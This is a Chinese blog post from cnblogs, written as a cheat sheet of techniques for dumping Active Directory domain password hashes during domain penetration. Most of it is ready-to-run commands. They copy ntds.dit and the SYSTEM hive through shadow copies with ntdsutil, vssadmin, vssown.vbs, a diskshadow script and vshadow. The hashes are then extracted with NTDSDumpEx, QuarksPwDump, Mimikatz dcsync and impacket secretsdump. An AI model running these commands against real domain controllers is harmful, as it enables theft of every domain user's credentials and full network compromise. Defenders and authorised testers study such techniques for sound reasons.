首页 > 其他分享 >导出域用户hash姿势总结

导出域用户hash姿势总结

时间:2023-02-10 21:12:29浏览次数:67  
标签:姿势 exe hash 导出 ntds system 卷影 dit 拷贝

一、域用户hash导出原理

ntds.dit为ad的数据库,内容有域用户、域组、用户hash等信息,域控上的ntds.dit只有可以登录到域控的用户(如域管用户、DC本地管理员用户)可以访问。
ntds.dit包括三个主要表:数据表、链接表、sd表。所以只要在域渗透中能够获取到ntds.dit就可以获取到所有域用户的用户名和对应的hash,ntds.dit是加密的,需要获取system文件来解密。

ntds.dit文件位置: C:\Windows\NTDS\NTDS.dit
system文件位置:C:\Windows\System32\config\SYSTEM

在通常的情况下,即使我们拥有域管理员权限也无法读取ntds.dit文件,因为活动目录始终访问着这个文件,所以禁止读取,使用windows的本地卷影拷贝可以获得文件的副本。

二、ntds.dit和system文件提取

0x01 ntdsutil

Ntdsutil.exe 是一个为 Active Directory 提供管理设施的命令行工具。您可使用 Ntdsutil.exe 执行 Active Directory 的数据库维护,管理和控制单个主机操作,创建应用程序目录分区,以及删除由未使用 Active Directory 安装向导 (DCPromo.exe) 成功降级的域控制器留下的元数据。—— 百度百科
简单讲,Ntdsutil.exe就是一个AD域的命令行工具,可以复制域控系统快照并从中提取ntds.dit文件。

创建快照

ntdsutil snapshot "activate instance ntds" create quit quit

加载快照

ntdsutil snapshot "mount {0cf3ebc8-3f7a-415f-95f7-8e8cf923cecb}" quit quit

拷贝快照中的ntds.dit和system文件

copy C:\$SNAP_202302081523_VOLUMEC$\Windows\NTDS\ntds.dit C:\users\administrator\desktop\
copy C:\$SNAP_202302081523_VOLUMEC$\Windows\System32\config\SYSTEM C:\users\administrator\desktop\

卸载快照并删除

ntdsutil snapshot "unmount {0cf3ebc8-3f7a-415f-95f7-8e8cf923cecb}" "delete {0cf3ebc8-3f7a-415f-95f7-8e8cf923cecb}" quit quit

0x02 vssadmin

vssadminn是Windows Server 2008及 Windows 7提供的VSS管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息(只能管理系统Provider 创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序( writers )和提供程序( providers ),以及改变卷影拷贝的存储空间(即所谓的“diff空间”)的大小等。

创建卷影拷贝

vssadmin create shadow /for=c:

拷贝卷影中的ntds.dit和system文件

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\NTDS\ntds.dit c:\users\administrator\desktop\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\System32\config\SYSTEM C:\users\administrator\desktop\SYSTEM

删除卷影拷贝

vssadmin delete shadows /for=c: /quiet

0x03 vssown.vbs

功能和vssadmin类似,一个可视化的脚本,可以创建和删除卷影副本,从卸载的卷影副本运行任意可执行文件,以及启动和停止卷影复制服务。
下载地址:vssown.vbs

启动卷影拷贝服务

cscript vssown.vbs /start

创建卷影拷贝

cscript vssown.vbs /create c

列出卷影信息

cscript vssown.vbs /list

拷贝卷影中的ntds.dit和system文件

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\ntds\ntds.dit C:\users\administrator\desktop\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\system32\config\SYSTEM C:\users\administrator\desktop\SYSTEM

删除卷影拷贝

cscript vssown.vbs /delete {FBC1881F-ADF7-411B-AF81-2BE16D400A15}

0x04 diskshadow

DiskShadow是Microsoft签名的二进制文件,用于协助管理员执行与卷复制服务(VSS)相关的操作。该文件可以使用脚本模式,执行脚本中的所有命令,因此可以将拷贝ntds.dit文件的命令写入脚本中(c:\1.txt):

#设置卷影拷贝
set context persistent nowriters 

#添加卷
add volume c: alias someAlias 

#创建快照
create 

#分配虚拟磁盘盘符
expose %someAlias% g: 

#复制ntds.dit和system文件
exec "cmd.exe" /c copy g:\windows\ntds\ntds.dit c:\users\administrator\desktop\ntds.dit && copy g:\windows\system32\config\SYSTEM c:\users\administrator\desktop\SYSTEM

#删除所有快照
delete shadows all

#重置
reset

#退出
exit

命令行执行:

diskshadow.exe /s c:\1.txt 
#注意这里一定要将目录切到c:\windows\system32下,不然会报错,脚本中的注释去掉

0x05 vshadow

vshadow是一个简单的指令行工具,它允许任何人创建卷影拷贝。用户可以在最新版本的VSS SDK中找到这个工具。功能类似vssadmin,需要将系统对应版本的vshadow程序拷贝到系统中。

方法一:

创建卷影拷贝

vshadow-2008-r2-x64.exe -exec=%ComSpec% C:

拷贝卷影中的ntds.dit和system文件

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy6\windows\ntds\ntds.dit c:\users\administrator\desktop\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy6\windows\system32\config\SYSTEM c:\users\administrator\desktop\SYSTEM

卸载卷影

无需卸载,不会留下挂载痕迹。

方法二:

将vshadow-2008-r2-x64.exe改名为vshadow.exe,放在c.bat同目录下,命令行执行:
c.bat c:\windows\ntds\ntds.dit c:\

公众号回复 vshadow 获取工具,解压密码:公众号黑客前沿

三、获取hash

0x01 NTDSDumpEx

ntds.dit和system文件拷贝到本地,NTDSDumpEx执行以下命令:
NTDSDumpEx.exe -d ntds.dit -s system

工具下载地址:NTDSDumpEx

0x02 QuarksPwDump

本地导出

QuarksPwDump.exe --dump-hash-domain -sf system -nt ntds.dit

域控机器导出

无需system文件
QuarksPwDump.exe --dump-hash-domain -nt ntds.dit

项目地址:QuarksPwDump

0x03 Mimikatz

在域控机器执行
Mimikatz "lsadump::dcsync /domain:test.com /all /csv" exit

工具下载地址:Mimikatz

0x04 impacket

kali下安装impacket

git clone https://github.com/SecureAuthCorp/impacket
cd impacket
python3 -m pip install .
python3 setup.py install
cd examples

将ntds.dit和system文件拷贝到kali桌面,执行命令
python3 secretsdump.py -ntds /home/kali/Desktop/ntds.dit -system /home/kali/Desktop/SYSTEM LOCAL

标签:姿势,exe,hash,导出,ntds,system,卷影,dit,拷贝
From: https://www.cnblogs.com/cHr1s/p/17110292.html

相关文章

  • QImage从VtkImageData中加载16图片 导出PNG格式
    项目背景:1.前后端采用websocket通讯,后端处理得到的结果通过png数据格式返回前端2.常规的8位png图像只能由256个灰阶,动态范围小,不能在前端进行窗宽窗位调节,因此需要使用16......
  • hashCode 和 equals
    都来自于Object,hashCode:把对象的内存地址转换成一个整数,native方法;equals比较两个对象的内存地址String类重写了equals方法什么时候需要重写对象的hashCode和eq......
  • sheetjs导出表格时间错误问题
    最近使用sheetjs,前端web去导出生成excel,xlsx表格。其中遇到一种问题,那就是时间出错了!比如多出8小时43秒,少了43秒。看到这种问题的时候,我也一脸懵逼。先上图!不过在有......
  • Jedis-操作String,操作-hash,操作-list,操作-set&sortedset
        Jedis-操作-hash@Testpublicvoidtest3(){//1.获取连接Jedisjedis=newJedis();//如果使用空参构造,默认值"localhost",6379......
  • 直播app开发搭建,vue使用js-file-download完成导出功能
    直播app开发搭建,vue使用js-file-download完成导出功能1.安装js-file-downloadnpminstalljs-file-download​2.引入对应的功能模块importfileDownLoadfrom'js-file......
  • redis-命令操作-String&hash,list,set&sortedset,通用命令
    redis-命令操作-String&hashString类型存储:setkeyvalue获取:getkey删除:delkey   Hash类型存储:hsetkeyfieldvalue  获取:hgetkeyfield:获取指......
  • 前端如何实现将多页数据合并导出到Excel单Sheet页解决方案|内附代码
    前端与数据展示前后端分离是当前比较盛行的开发模式,它使项目的分工更加明确,后端负责处理、存储数据;前端负责显示数据.前端和后端开发人员通过接口进行数据的交换。因此......
  • HashMap源码解析
    源码解读1、概述:是Map接口的非同步实现,允许使用null值和null健,对象是无序排列的这点和list接口相反。HashMap中有且只有一个key为null(key不能重复)。HashMap用到了几个类......
  • .NET NPOI导出时间、公式等格式化
    1、业务背景做导入某业务模块的Excel表格文件时,利用NPOI组件导入,①导入的日期错乱(如XX-X月-2022),关于此种情况之前没做格式化做了单独处理,可以查看文章​​.netNPOIExcel......
  • Set、HashSet、LinkedHashSet
    set接口基本介绍无序(添加和取出的顺序不一致),没有索引不允许重复元素,所有最多包含一个nullHashSetHashSet实现了Set接口HashSet实际上是HashMapHashSet细节s......